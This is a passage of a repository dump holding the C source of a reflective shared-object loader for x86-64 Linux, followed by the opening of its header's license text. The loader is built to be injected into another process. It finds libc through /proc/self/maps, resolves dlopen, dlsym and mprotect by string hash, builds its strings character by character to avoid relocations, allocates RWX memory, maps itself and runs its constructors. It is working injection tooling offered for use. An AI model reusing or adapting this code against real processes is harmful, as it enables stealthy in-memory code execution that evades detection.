ELF loader which is capable of being used to allow 63 | * a program to load itself into memory. 64 | * 65 | * More details on the implementation of this loader can be found at the following address 66 | * https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 67 | * 68 | */ 69 | #ifdef RSOI_DEBUG_MODE 70 | int ReflectiveLoader(char *debugFile) 71 | #else 72 | int ReflectiveLoader() 73 | #endif 74 | { 75 | ELF_FILE this; /* ELF file we are going to be loading since we are loading ourselves into memory it is this file */ 76 | ELF_FILE libc; /* C library we are using to find dynamic linker functions */ 77 | 78 | /* 79 | * Functions we need from libc for ELF loading, we resolve these on 80 | * the fly by locating LIBC and finding these functions ourselves 81 | */ 82 | int (*libc_mprotect)(void *addr, size_t len, int prot); 83 | void* (*libc_calloc)(size_t, size_t size); 84 | void* (*libc_dlsym)(void *, char *); 85 | void* (*libc_dlopen)(char *, int mode); 86 | int (*libc_dlclose)(void *); 87 | void* (*libdl_dlsym)(void *handle, const char *symbol); /* We used dlsym because it is able to handle IFUNC function type something __libc_dlsym cannot for some reason */ 88 | /* See this post for more information - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */ 89 | unsigned int index; 90 | char libdl_s[11]; 91 | libdl_s[0] = 'l'; 92 | libdl_s[1] = 'i'; 93 | libdl_s[2] = 'b'; 94 | libdl_s[3] = 'd'; 95 | libdl_s[4] = 'l'; 96 | libdl_s[5] = '.'; 97 | libdl_s[6] = 's'; 98 | libdl_s[7] = 'o'; 99 | libdl_s[8] = '.'; 100 | libdl_s[9] = '2'; 101 | libdl_s[10] = '\0'; 102 | 103 | char dlsym_s[6]; 104 | dlsym_s[0] = 'd'; 105 | dlsym_s[1] = 'l'; 106 | dlsym_s[2] = 's'; 107 | dlsym_s[3] = 'y'; 108 | dlsym_s[4] = 'm'; 109 | dlsym_s[5] = '\0'; 110 | 111 | //Locate libc in memory 112 | libc.baseaddr = get_libc_base_addr(); 113 | libc.header = (Elf64_Ehdr *)libc.baseaddr; 114 | libc.segments = libc.header->e_phoff + libc.baseaddr; 115 | debug("[+] LIBC base address found at %p", libc.baseaddr); 116 | 117 | //Locate ELF header for this file 118 | this.header = find_elf_header(); 119 | debug("[+] Found my ELF header at %p", this.header); 120 | 121 | #ifdef RSOI_DEBUG_MODE /* Debug mode testing loader capabilities while being able to print debug info */ 122 | this.header = load_file_debug_mode(debugFile); 123 | debug("[+] Debug header located at %p", this.header); 124 | #endif 125 | 126 | this.segments = this.header->e_phoff + (void *)this.header; /* Program Segments */ 127 | this.sections = this.header->e_shoff + (void *)this.header; /* Program Sections */ 128 | 129 | //Find dynamiic program segment for libc 130 | debug("[i] Looking for dynamic program segment for libc in program headers"); 131 | for(int i = 0; i < libc.header->e_phnum; i++) 132 | { 133 | if(libc.segments[i].p_type == PT_DYNAMIC) 134 | { 135 | libc.dynamic = libc.segments[i].p_vaddr + libc.baseaddr; 136 | debug("[+] LIBC PT_DYNAMIC segment at address %p", libc.dynamic); 137 | } 138 | 139 | } 140 | 141 | //Find .dynsym table for libc 142 | debug("[i] Looking for dynsym program segment for libc in dynamic segment"); 143 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 144 | { 145 | if(libc.dynamic[i].d_tag == DT_SYMTAB) 146 | { 147 | libc.dynsym = (Elf64_Sym *)libc.dynamic[i].d_un.d_val; 148 | debug("[+] LIBC dynsym found at address %p", libc.dynsym); 149 | break; 150 | } 151 | } 152 | 153 | //find .dynstr table for libc 154 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 155 | { 156 | if(libc.dynamic[i].d_tag == DT_STRTAB) 157 | { 158 | libc.dynstr = (char *)(libc.dynamic[i].d_un.d_val); 159 | debug("[+] LIBC dynstr found at address %p", libc.dynstr); 160 | break; 161 | } 162 | } 163 | 164 | //find .gnu.hash section 165 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 166 | { 167 | if(libc.dynamic[i].d_tag == DT_GNU_HASH) 168 | { 169 | libc.gnu_hash = (char *)(libc.dynamic[i].d_un.d_val); 170 | debug("[+] LIBC gnu_hash found at address %p", libc.gnu_hash); 171 | break; 172 | } 173 | } 174 | 175 | if(libc.gnu_hash == NULL) 176 | { 177 | debug("[-] Could not find GNU_HASH entry in dynamic segment"); 178 | return -1; 179 | } 180 | 181 | 182 | debug("[i] Resolving addresses of runtime dependencies"); 183 | 184 | //Resolve functions needed to run 185 | unsigned int count = 0; 186 | for(int i = 0; ;i++) /* You can also calculate the number of dynsym entries by looking in HASH or GNU_HASH tables */ 187 | { 188 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLOPEN_HASH) 189 | { 190 | libc_dlopen = libc.dynsym[i].st_value + libc.baseaddr; 191 | debug("[+] Found dlopen at %p", libc_dlopen); 192 | count++; 193 | } 194 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLCLOSE_HASH) 195 | { 196 | libc_dlclose = libc.dynsym[i].st_value + libc.baseaddr; 197 | debug("[+] Found dlclose at %p", libc_dlclose); 198 | count++; 199 | } 200 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLSYM_HASH) 201 | { 202 | libc_dlsym = libc.dynsym[i].st_value + libc.baseaddr; 203 | debug("[+] Found dlsym at %p", libc_dlsym); 204 | count++; 205 | } 206 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == CALLOC_HASH) 207 | { 208 | libc_calloc = libc.dynsym[i].st_value + libc.baseaddr; 209 | debug("[+] Found calloc at %p", libc_calloc); 210 | count++; 211 | } 212 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == MPROTECT_HASH) 213 | { 214 | libc_mprotect = libc.dynsym[i].st_value + libc.baseaddr; 215 | debug("[+] Found mprotect at %p", libc_mprotect); 216 | count++; 217 | } 218 | if(count == 5) 219 | { 220 | break; 221 | } 222 | } 223 | 224 | /* Find dlsym using __libc_dlsym - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */ 225 | 226 | void *libdlhandle = (*libc_dlopen)(libdl_s, RTLD_LAZY); 227 | debug("[+] Opened libdl with handle libdlhandle=%p", libdlhandle); 228 | libdl_dlsym = (*libc_dlsym)(libdlhandle, dlsym_s); 229 | debug("[+] Found libdl_dlsym at %p", libdl_dlsym); 230 | 231 | debug("[i] Finished resolving addresses of runtime dependencies"); 232 | debug("[i] Allocating RWX memory to load shared object into and calculating program size"); 233 | 234 | //Calculate program base address aligned to page size (0x1000 bytes) 235 | unsigned int size; 236 | size = get_program_memory_size(this.header); 237 | 238 | debug("[i] Program size is %u", size); 239 | //Allocate this memory 240 | this.baseaddr = (*libc_calloc)(1, size); 241 | 242 | if(this.baseaddr == NULL) 243 | { 244 | debug("[-] ERROR libc_calloc failed"); 245 | return -1; 246 | } 247 | 248 | //Round process base address to page size 249 | this.baseaddr += (unsigned long)(0x1000 - ((unsigned long)this.baseaddr & 0x00000FFF)); 250 | 251 | if((*libc_mprotect)(this.baseaddr, size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) 252 | { 253 | debug("[-] ERROR mprotect call to create RWX memory region failed and returned with error"); 254 | return -1; 255 | } 256 | 257 | debug("[+] Shared object baseaddr at %p", this.baseaddr); 258 | 259 | //Map program segments into memory 260 | for(int i = 0; i < this.header->e_phnum; i++) 261 | { 262 | //Copy loadable segments into memory 263 | if(this.segments[i].p_type == PT_LOAD) 264 | { 265 | debug("[+] PT_LOAD Segment loaded at %p", this.segments[i].p_vaddr + this.baseaddr); 266 | crt_memcpy(this.baseaddr + this.segments[i].p_vaddr, (void *)this.header + this.segments[i].p_offset, this.segments[i].p_filesz); 267 | } 268 | 269 | } 270 | 271 | //Find SH_STRTAB 272 | this.SH_STRTAB = (void *)this.header + this.sections[this.header->e_shstrndx].sh_offset; 273 | 274 | //find this files .dynamic section 275 | index = find_section_by_hash(DYNAMIC_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 276 | this.secdynamic = (Elf64_Shdr *)&this.sections[index]; 277 | this.dynamic = this.secdynamic->sh_addr + this.baseaddr; 278 | 279 | //find this files .dynstr 280 | index = find_section_by_hash(DYNSTR_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 281 | this.secdynstr = (Elf64_Shdr *)&this.sections[index]; 282 | this.dynstr = this.secdynstr->sh_addr + this.baseaddr; 283 | 284 | //find this files .rela.plt section 285 | index = find_section_by_hash(RELAPLT_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 286 | this.secrelaplt = (Elf64_Shdr *)&this.sections[index]; 287 | this.relaplt = this.secrelaplt->sh_addr + this.baseaddr; 288 | 289 | //find this files .rela.dyn section 290 | index = find_section_by_hash(RELADYN_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 291 | this.secreladyn = (Elf64_Shdr *)&this.sections[index]; 292 | this.reladyn = this.secreladyn->sh_addr + this.baseaddr; 293 | 294 | //find this files dynsym section 295 | index = find_section_by_hash(DYNSYM_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 296 | this.secdynsym = (Elf64_Shdr *)&this.sections[index]; 297 | this.dynsym = this.secdynsym->sh_addr + this.baseaddr; 298 | 299 | 300 | //dlopen DT_NEEDED libraries 301 | unsigned int numNeededLibraries = 0; 302 | void* *libHandles = NULL; 303 | unsigned int z = 0; 304 | 305 | //Count number of DT_NEEDED entries 306 | for(int i = 0; this.dynamic[i].d_tag != DT_NULL; i++) 307 | { 308 | if(this.dynamic[i].d_tag == DT_NEEDED) 309 | { 310 | numNeededLibraries++; 311 | } 312 | } 313 | 314 | libHandles = (*libc_calloc)(sizeof(void *), numNeededLibraries); 315 | 316 | if(libHandles == NULL) 317 | { 318 | debug("[-] Memory allocation failed.."); 319 | return -1; 320 | } 321 | 322 | //Open all libraries required by the shared object in order to execute 323 | for(int i = 0; this.dynamic[i].d_tag != DT_NULL && z < numNeededLibraries; i++) 324 | { 325 | if(this.dynamic[i].d_tag == DT_NEEDED) 326 | { 327 | debug("[i] Opening DT_NEEEDED library [%s]", this.dynamic[i].d_un.d_ptr + this.dynstr); 328 | libHandles[z] = (*libc_dlopen)(this.dynamic[i].d_un.d_ptr + this.dynstr, RTLD_LAZY); 329 | 330 | if(!libHandles[z]) 331 | { 332 | return -1; 333 | } 334 | 335 | z++; 336 | } 337 | } 338 | 339 | //Resolve PLT references 340 | for(int i = 0; i < this.secrelaplt->sh_size / sizeof(Elf64_Rela); i++) 341 | { 342 | if(ELF64_R_TYPE(this.relaplt[i].r_info) == R_X86_64_JUMP_SLOT) 343 | { 344 | void *funcaddr; 345 | char *symName; 346 | 347 | //Get Index into symbol table for relocation 348 | index = ELF64_R_SYM(this.relaplt[i].r_info); 349 | 350 | symName = this.dynsym[index].st_name + this.dynstr; 351 | 352 | //If symbol is a local symbol write the address of it into the .got.plt 353 | if(ELF64_ST_TYPE(this.dynsym[index].st_info) == STT_FUNC && this.dynsym[index].st_shndx != SHN_UNDEF) 354 | { 355 | debug("[i] Symbol type is STT_FUNC AND st_shndx IS NOT STD_UNDEF for %s", symName); 356 | *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr); 357 | } 358 | 359 | //We need to lookup the symbol searching through DT_NEEDED libraries 360 | else 361 | { 362 | for(int x = 0; x < numNeededLibraries; x++) 363 | { 364 | funcaddr = (*libdl_dlsym)(libHandles[x], symName); 365 | debug("[i] Looking up symbol for %s function address is %p", symName, funcaddr); 366 | if(funcaddr != NULL) 367 | { 368 | *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)funcaddr); 369 | break; 370 | } 371 | } 372 | } 373 | } 374 | } 375 | 376 | //Perform relocations (.rela.dyn) 377 | for(int i = 0; i < this.secreladyn->sh_size / sizeof(Elf64_Rela); i++) 378 | { 379 | if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_64) 380 | { 381 | debug("[i] Processing Relocation of type R_86_64_64"); 382 | index = ELF64_R_SYM(this.reladyn[i].r_info); 383 | *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[index].st_value + this.reladyn[i].r_addend; 384 | } 385 | /* 386 | * Lookup address of symbol and store it in GOT entry 387 | */ 388 | else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_GLOB_DAT) 389 | { 390 | debug("[i] Processing Relocation of type R_x86_64_GLOB_DAT %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr); 391 | 392 | //Check symbol both locally and globally (searching through DT_NEEDED entries) 393 | for(int x = 0; ;x++) 394 | { 395 | if(hash(this.dynsym[x].st_name + this.dynstr) == hash(this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr)) 396 | { 397 | //If symbol is a local symbol write the address of it into the .got.plt 398 | if(this.dynsym[x].st_shndx == SHN_UNDEF) 399 | { 400 | for(int y = 0; y < numNeededLibraries; y++) 401 | { 402 | 403 | void *faddr = libdl_dlsym(libHandles[y], this.dynsym[x].st_name + this.dynstr); 404 | debug("[i] Looking up symbol for %s function address is %p", this.dynsym[x].st_name + this.dynstr, faddr); 405 | if(faddr != NULL) 406 | { 407 | *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)faddr); 408 | break; 409 | } 410 | } 411 | break; 412 | } 413 | 414 | //write value into got entry 415 | *((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr; 416 | break; 417 | } 418 | } 419 | } 420 | else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_RELATIVE) 421 | { 422 | debug("[i] Processing Relocation of type R_x86_64_RELATIVE %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr); 423 | index = ELF64_R_SYM(this.reladyn[i].r_info); 424 | *((uint64_t *)((unsigned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr; 425 | } 426 | } 427 | 428 | //Close Opened Libraries 429 | for(int i = 0; i < numNeededLibraries; i++) 430 | { 431 | libc_dlclose(libHandles[i]); 432 | } 433 | 434 | libc_dlclose(libdlhandle); 435 | 436 | //Call constructors of shared object 437 | debug("[i] Calling shared object constructors"); 438 | call_program_constructors(this); 439 | 440 | return 1; 441 | } 442 | 443 | //===============================================================================================// 444 | // Reflective ELF Loader Functions 445 | //===============================================================================================// 446 | 447 | 448 | /* 449 | * Parse backwards in memory in order to locate the ELF Header of our injected file 450 | */ 451 | __attribute__((always_inline)) inline Elf64_Ehdr* 452 | find_elf_header() 453 | { 454 | 455 | unsigned char *IP; 456 | 457 | __asm__("leaq (%%rip), %0;": "=r"(IP)); 458 | 459 | //Locate the ELF Header for this file 460 | while(1 == 1) 461 | { 462 | if(check_elf_magic((Elf64_Ehdr *)IP)) 463 | { 464 | break; 465 | } 466 | IP--; 467 | } 468 | 469 | return (Elf64_Ehdr*)IP; 470 | } 471 | 472 | /* 473 | * Get the base address of libc by parsing /proc/self/maps (without a C library it is so annoying!) 474 | */ 475 | __attribute__((always_inline)) inline void* 476 | get_libc_base_addr() 477 | { 478 | 479 | MAPS_FILE maps; 480 | int fd; 481 | struct stat sb; 482 | MAPS_ENTRY e; 483 | 484 | /* Done this way to ensure relocations are not required 485 | * compiler generates a sequence of move instructions writing 486 | * the string onto the stack. */ 487 | 488 | char mapspath[16]; 489 | mapspath[0] = '/'; 490 | mapspath[1] = 'p'; 491 | mapspath[2] = 'r'; 492 | mapspath[3] = 'o'; 493 | mapspath[4] = 'c'; 494 | mapspath[5] = '/'; 495 | mapspath[6] = 's'; 496 | mapspath[7] = 'e'; 497 | mapspath[8] = 'l'; 498 | mapspath[9] = 'f'; 499 | mapspath[10] = '/'; 500 | mapspath[11] = 'm'; 501 | mapspath[12] = 'a'; 502 | mapspath[13] = 'p'; 503 | mapspath[14] = 's'; 504 | mapspath[15] = '\0'; 505 | 506 | char libc[6]; 507 | libc[0] = 'l'; 508 | libc[1] = 'i'; 509 | libc[2] = 'b'; 510 | libc[3] = 'c'; 511 | libc[4] = '-'; 512 | libc[5] = '\0'; 513 | 514 | char perms[5]; 515 | perms[0] = 'r'; 516 | perms[1] = '-'; 517 | perms[2] = 'x'; 518 | perms[3] = 'p'; 519 | perms[4] = '\0'; 520 | 521 | maps.maps = crt_mmap(NULL, 0x1000 * 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 522 | fd = crt_open("/proc/self/maps", 0, 0); 523 | maps.size = copy_in(fd, maps.maps); 524 | maps.pos = maps.maps; 525 | 526 | do 527 | { 528 | e = get_next_maps_entry(&maps); 529 | 530 | if(e.name == NULL) /* Entry does not have a name */ 531 | continue; 532 | 533 | if(crt_strcmp(e.name, &libc) > 0) 534 | { 535 | if(crt_strcmp(e.perms, &perms) > 0) 536 | return e.startaddr; 537 | } 538 | 539 | } while(e.startaddr != NULL); 540 | 541 | crt_munmap(maps.maps, 0x1000 * 200); //unmap maps file from memory 542 | crt_close(fd); 543 | } 544 | 545 | /* 546 | * Get the next maps entry in the file 547 | */ 548 | __attribute__((always_inline)) inline MAPS_ENTRY 549 | get_next_maps_entry(MAPS_FILE *maps) 550 | { 551 | MAPS_ENTRY entry; 552 | int valid = 0; 553 | char *pos = maps->pos; 554 | char *temp; 555 | 556 | //Check if we have gotten to the end of the maps file 557 | if(*pos >= (maps->maps + maps->size)) 558 | return entry; 559 | 560 | //Get start address 561 | temp = pos; 562 | while(*pos != '-') 563 | { 564 | pos++; 565 | } 566 | *pos = '\0'; 567 | pos++; 568 | entry.startaddr = convert_string_to_64bit_pointer(temp); 569 | 570 | 571 | //Get end address of memory region 572 | temp = pos; 573 | while(*pos != ' ') 574 | { 575 | pos++; 576 | } 577 | *pos = '\0'; 578 | pos++; 579 | entry.endaddr = convert_string_to_64bit_pointer(temp); 580 | 581 | //Get permissions 582 | entry.perms = pos; 583 | 584 | //Get name of memory region if it is a shared library name 585 | while(*pos != '\n') { if(*pos == '/') { valid = 1; } pos++; } /* Skip over junk data */ 586 | *pos = '\0'; 587 | temp = pos; 588 | while(*pos != '/' && valid) { pos--; } pos++; /* Get name of shared object if a valid entry */ 589 | entry.name = pos; /* Save this name */ 590 | if(!valid) { entry.name = NULL; } 591 | pos = temp; 592 | 593 | pos++; //Skip to beginning of next entry 594 | maps->pos = pos; //Save this position 595 | return entry; 596 | } 597 | 598 | /* 599 | * Get the amount of memory which needs to be allocated in order to map our program into memory 600 | * plus some additional padding. 601 | */ 602 | __attribute__((always_inline)) inline unsigned int 603 | get_program_memory_size(Elf64_Ehdr *header) 604 | { 605 | 606 | unsigned int size = 0, numPages; 607 | Elf64_Phdr *segments = header->e_phoff + (void *)header; 608 | 609 | for(int i = 0; i < header->e_phnum; i++) 610 | { 611 | if(segments[i].p_type == PT_LOAD) 612 | { 613 | if(segments[i].p_memsz > segments[i].p_align) 614 | { 615 | numPages = 1 + (segments[i].p_memsz - segments[i].p_memsz % segments[i].p_align) / segments[i].p_align; 616 | } 617 | else 618 | { 619 | numPages = 1; 620 | } 621 | 622 | size += segments[i].p_align * numPages; 623 | } 624 | } 625 | size += 0x2000; //padding 626 | return size; 627 | } 628 | 629 | __attribute__((always_inline)) void inline 630 | call_program_constructors(ELF_FILE e) 631 | { 632 | 633 | int INIT_ARRAYSZ = 0; 634 | void* *INIT_ARRAY; 635 | void (*constructor)(); 636 | 637 | //find DT_INIT_ARRAYSZ 638 | for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++) 639 | { 640 | if(e.dynamic[i].d_tag == DT_INIT_ARRAYSZ) 641 | { 642 | INIT_ARRAYSZ = e.dynamic[i].d_un.d_ptr; 643 | break; 644 | } 645 | } 646 | 647 | //find DT_INIT_ARRAY 648 | for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++) 649 | { 650 | if(e.dynamic[i].d_tag == DT_INIT_ARRAY) 651 | { 652 | INIT_ARRAY = e.dynamic[i].d_un.d_ptr + e.baseaddr; 653 | break; 654 | } 655 | } 656 | 657 | //Call constructors in shared object 658 | for(int i = 1; i < INIT_ARRAYSZ; i++) 659 | { 660 | constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr; 661 | 662 | if(INIT_ARRAY[i] == 0) 663 | break; 664 | 665 | debug("[i] Calling constructor %p", constructor); 666 | constructor(); 667 | } 668 | } 669 | 670 | /* check elf header */ 671 | __attribute__((always_inline)) inline unsigned int 672 | check_elf_magic(Elf64_Ehdr *elfHdr) 673 | { 674 | if(elfHdr->e_ident[0] == 0x7f) 675 | { 676 | if(elfHdr->e_ident[1] == 0x45) 677 | { 678 | if(elfHdr->e_ident[2] == 0x4c) 679 | { 680 | if(elfHdr->e_ident[3] == 0x46) 681 | { 682 | return 1; 683 | } 684 | } 685 | } 686 | } 687 | 688 | return 0; 689 | } 690 | 691 | /* Find elf section given a name and hash */ 692 | __attribute__((always_inline)) inline unsigned int 693 | find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections) 694 | { 695 | for(int i = 0; i < numSections; i++) 696 | { 697 | unsigned char *sectionName = SH_STRTAB + sections[i].sh_name; 698 | 699 | if(hash(sectionName) == sectionHash) 700 | { 701 | return i; 702 | } 703 | } 704 | 705 | debug("[i] ERROR could not find section"); 706 | exit(-1); 707 | } 708 | 709 | //===============================================================================================// 710 | // Standard Library Functions (x86_64) 711 | //===============================================================================================// 712 | 713 | __attribute__((always_inline)) inline int 714 | crt_close(int fd) 715 | { 716 | 717 | long ret; 718 | asm volatile ("syscall" : "=a" (ret) : "a" (__NR_close), 719 | "D" (fd): 720 | "cc", "memory", "rcx", 721 | "r8", "r9", "r10", "r11" ); 722 | if (ret < 0) 723 | { 724 | ret = -1; 725 | } 726 | return (int)ret; 727 | } 728 | 729 | __attribute__((always_inline)) inline int 730 | crt_open (const char *pathname, unsigned long flags, unsigned long mode) 731 | { 732 | 733 | long ret; 734 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_open), 735 | "D" (pathname), "S" (flags), "d" (mode) : 736 | "cc", "memory", "rcx", 737 | "r8", "r9", "r10", "r11" ); 738 | 739 | return (int) ret; 740 | } 741 | 742 | __attribute__((always_inline)) inline void* 743 | crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset) 744 | { 745 | void *ret; 746 | register long r10 asm("r10") = flags; 747 | register long r9 asm("r9") = offset; 748 | register long r8 asm("r8") = fd; 749 | 750 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap), 751 | "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 752 | "cc", "memory", "rcx", "r11"); 753 | 754 | return ret; 755 | } 756 | 757 | __attribute__((always_inline)) inline int 758 | crt_munmap(void *start, unsigned long length) 759 | { 760 | 761 | long ret; 762 | asm volatile ("syscall" : "=a" (ret) : "a" (__NR_munmap), 763 | "D" (start), "S" (length) : 764 | "cc", "memory", "rcx", 765 | "r8", "r9", "r10", "r11" ); 766 | if (ret < 0) 767 | { 768 | ret = -1; 769 | } 770 | return (int)ret; 771 | } 772 | 773 | __attribute__((always_inline)) inline int 774 | crt_read(int fd, char *buffer, unsigned long bufferlen) 775 | { 776 | 777 | long ret; 778 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_read), 779 | "D" (fd), "S" (buffer), "d" (bufferlen) : 780 | "cc", "memory", "rcx", 781 | "r8", "r9", "r10", "r11" ); 782 | if (ret < 0) 783 | { 784 | ret = -1; 785 | } 786 | return (int)ret; 787 | } 788 | 789 | __attribute__((always_inline)) inline int 790 | crt_stat(const char *path, void *buf) 791 | { 792 | long ret; 793 | asm volatile ("syscall" : 794 | "=a" (ret) : 795 | "a" (4), "D" (path), "S" (buf) : 796 | "memory" 797 | ); 798 | if (ret < 0) 799 | { 800 | ret = -1; 801 | } 802 | return (int)ret; 803 | } 804 | 805 | //===============================================================================================// 806 | // Standard Library Functions (portable) 807 | //===============================================================================================// 808 | 809 | __attribute__((always_inline)) inline void * 810 | crt_memcpy(void *dest, const void *src, unsigned long n) 811 | { 812 | unsigned long i; 813 | unsigned char *d = (unsigned char *)dest; 814 | unsigned char *s = (unsigned char *)src; 815 | 816 | for (i = 0; i < n; ++i) 817 | d[i] = s[i]; 818 | 819 | return dest; 820 | } 821 | 822 | __attribute__((always_inline)) inline int 823 | crt_strcmp(char *s1, char *s2) 824 | { 825 | int len1 = crt_strlen(s1); 826 | int len2 = crt_strlen(s2); 827 | int len = 0; 828 | 829 | if(len1 > len2) 830 | len = len2; 831 | else 832 | len = len1; 833 | 834 | for(int i = 0; i < len; i++) 835 | { 836 | if(*(s1 + i) != *(s2 + i)) 837 | { 838 | 839 | return -1; 840 | } 841 | } 842 | 843 | return 1; 844 | } 845 | 846 | __attribute__((always_inline)) inline unsigned long 847 | crt_strlen(const char *s) 848 | { 849 | unsigned long r = 0; 850 | for (; s && *s; ++s, ++r); 851 | return r; 852 | } 853 | 854 | /* 855 | * String hashing function used for string comparison 856 | */ 857 | __attribute__((always_inline)) inline unsigned int 858 | hash(unsigned char *word) 859 | { 860 | unsigned int hash = 0; 861 | for (int i = 0 ; word[i] != '\0' && word[i] != '@'; i++) 862 | { 863 | hash = 31 * hash + word[i]; 864 | } 865 | return hash; 866 | } 867 | 868 | //===============================================================================================// 869 | // Utility Functions 870 | //===============================================================================================// 871 | 872 | /* 873 | * Custom function to convert string to a pointer subtracts an amount to get the actual character 874 | * value and then accounts for the position in the number using multiplcation to place it in 875 | * its correct position. 876 | */ 877 | __attribute__((always_inline)) inline uint64_t 878 | convert_string_to_64bit_pointer(unsigned char *x) 879 | { 880 | uint64_t pointer = 0; 881 | uint64_t z = 1; 882 | uint64_t temp = 0; 883 | unsigned int len = crt_strlen(x); 884 | 885 | for(int i = 0; i < len; i++) 886 | z *= 16; 887 | 888 | for(int i = 0; i < len; i++) 889 | { 890 | if(*x > 60) 891 | { 892 | temp = *x - 87; 893 | } 894 | else 895 | { 896 | temp = *x - 48; 897 | } 898 | 899 | 900 | if(z == 1) 901 | { 902 | temp = temp; 903 | } 904 | else 905 | { 906 | z = z / 16; 907 | temp = temp * z; 908 | } 909 | 910 | pointer += temp; 911 | temp = 0; 912 | x++; 913 | } 914 | 915 | return pointer; 916 | } 917 | 918 | /* 919 | * Copy a file from disk into a memory buffer. WARNING Does not check size! 920 | */ 921 | __attribute__((always_inline)) inline unsigned int 922 | copy_in(int fd, void *address) 923 | { 924 | int cc; 925 | off_t offset = 0; 926 | char buf[1024]; 927 | 928 | while (0 < (cc = crt_read(fd, buf, sizeof(buf)))) 929 | { 930 | crt_memcpy((address + offset), buf, cc); 931 | offset += cc; 932 | } 933 | 934 | return offset; 935 | } 936 | 937 | //===============================================================================================// 938 | // Debug Mode Functions 939 | //===============================================================================================// 940 | 941 | #ifdef RSOI_DEBUG_MODE 942 | 943 | /* 944 | * Used to test loading capabilities separately from the injection capabilities. We can 945 | * use this to figure out whether we are dealing with a problem with our ELF loader or with 946 | * the injection script which is used to inject our loader into the target process. 947 | */ 948 | Elf64_Ehdr* load_file_debug_mode(char *debugfile) 949 | { 950 | 951 | struct stat sb; 952 | unsigned int fd; 953 | fd = crt_open(debugfile, 0, 0); 954 | if(fd == -1) 955 | { 956 | debug("[-] Could not open debug file"); 957 | exit(-1); 958 | } 959 | 960 | if (0 > crt_stat(debugfile, &sb)) 961 | { 962 | return; 963 | } 964 | 965 | void *mapped = crt_mmap(NULL, sb.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 966 | 967 | if(mapped == -1) 968 | { 969 | return; 970 | } 971 | 972 | copy_in(fd, mapped); 973 | crt_close(fd); 974 | 975 | if(check_elf_magic(mapped)) 976 | { 977 | debug("[+] Debug File ELF Header is valid"); 978 | } 979 | else 980 | { 981 | debug("[-] Debug File ELF Header is invalid ERROR!"); 982 | exit(-1); 983 | } 984 | 985 | return (Elf64_Ehdr *)mapped; 986 | } 987 | 988 | #endif 989 | -------------------------------------------------------------------------------- /so/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2016, Infosec Guerilla (infosecguerilla.wordpress.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 